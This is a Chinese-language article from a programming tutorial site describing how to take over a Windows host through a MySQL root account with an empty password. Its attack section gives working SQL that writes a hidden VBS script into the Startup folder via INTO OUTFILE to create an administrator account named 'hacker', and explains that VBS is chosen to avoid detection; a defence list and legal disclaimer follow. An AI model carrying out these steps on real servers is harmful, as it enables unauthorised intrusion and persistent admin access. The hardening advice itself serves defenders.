首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫

MySQL root 空密碼攻擊實戰:利用 INTO OUTFILE 寫入啟動腳本奪取主機控制權

     編輯:MySQL 資料庫相關知識

攻擊前提

  • 目標 MySQL root@% 無密碼或弱密碼。
  • 攻擊者具備網路連線至 3306 埠。
  • MySQL 啟動用戶對目標寫入路徑有寫入權限(如 All Users\Start Menu\Programs\Startup)。

攻擊步驟複現(僅供防禦驗證)

  1. 連線:mysql -u root -h 192.168.0.1
  2. 建表:CREATE TABLE a (cmd TEXT);
  3. 寫入 VBS 腳本三行:
    INSERT INTO a VALUES ('Set wshShell=CreateObject("WScript.Shell")');
    INSERT INTO a VALUES ('a=wshShell.Run("cmd.exe /c net user hacker P@ssw0rd /add",0)');
    INSERT INTO a VALUES ('b=wshShell.Run("cmd.exe /c net localgroup administrators hacker /add",0)');
  4. 匯出至啟動目錄:
    SELECT * FROM a INTO OUTFILE "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\a.vbs";
  5. 下次管理員登入,腳本自動執行,建立管理員帳號。

為何用 VBS 不用 BAT

BAT 執行會彈出 CMD 視窗易被發現;VBS Run(...,0) 完全隱藏視窗。

防禦對策

  1. 根除空密碼:安裝即執行 mysql_secure_installation,設定強密碼、移除匿名帳號、禁用遠程 root。
  2. 最小權限:應用帳號無 FILE 權限,無法執行 INTO OUTFILE。
  3. 啟動參數:--secure-file-priv=/var/lib/mysql-files 限制匯出目錄(MySQL 5.6+ 預設啟用)。
  4. 檔案系統 ACL:啟動目錄僅 Administrators/System 可寫,MySQL 服務帳號不可寫。
  5. 網路隔離:3306 僅對應用伺服器開放,防火牆拒絕其它 IP。
  6. 審計:啟用 General Log / Audit Plugin,監控 INTO OUTFILE、GRANT FILE 異常操作。

法律聲明

本文僅供安全研究與防禦驗證,未經授權對他人系統實施攻擊屬違法行為,請勿濫用。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved